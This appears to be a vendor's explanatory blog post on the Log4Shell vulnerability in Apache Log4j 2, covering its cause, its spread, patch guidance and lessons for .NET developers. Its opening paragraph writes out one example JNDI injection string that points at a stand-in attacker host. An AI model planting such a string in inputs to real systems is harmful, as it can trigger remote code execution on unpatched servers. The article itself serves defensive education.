Apache Log4j 2 is one of the most widely used logging libraries in the Java ecosystem. Log4Shell exploited a feature most developers never knew was on: Log4j evaluated lookups inside log messages, including JNDI lookups. An attacker who could get a string like ${jndi:ldap://attacker.tld/x} written to a log — in a username, a User-Agent header, a chat message — caused the server to fetch and execute a remote class. Logging the input was the exploit.

Why it spread so far, so fast

Three properties made it catastrophic. It was trivial to trigger — often a single header. It was everywhere — Log4j is a transitive dependency of countless frameworks, so teams were vulnerable through libraries they did not know they used. And the malicious string travelled through exactly the channels apps are built to accept and record. The reachable attack surface was effectively the entire request.

The fix, and the stop-gaps

The durable fix is to upgrade Log4j to a patched release (2.17.1 or later) that removes message lookups and the JNDI vector. Where an immediate upgrade was impossible, teams removed the JndiLookup class from the classpath or disabled lookups — mitigations, not cures. The episode also made software bills of materials (SBOMs) urgent: you cannot patch a dependency you do not know you ship.

Does this touch a .NET shop?

Not directly — Log4j is Java, and B5 Secure is a .NET framework, so the specific CVE does not apply. The pattern absolutely does. Untrusted input reached a powerful interpreter through a channel nobody was guarding. The defenses are the ones B5 is built around: treat all input as hostile regardless of where it enters, keep dangerous capabilities off by default, fail closed when something is unexpected, and emit auditable telemetry so you can answer “were we hit?” in minutes rather than weeks.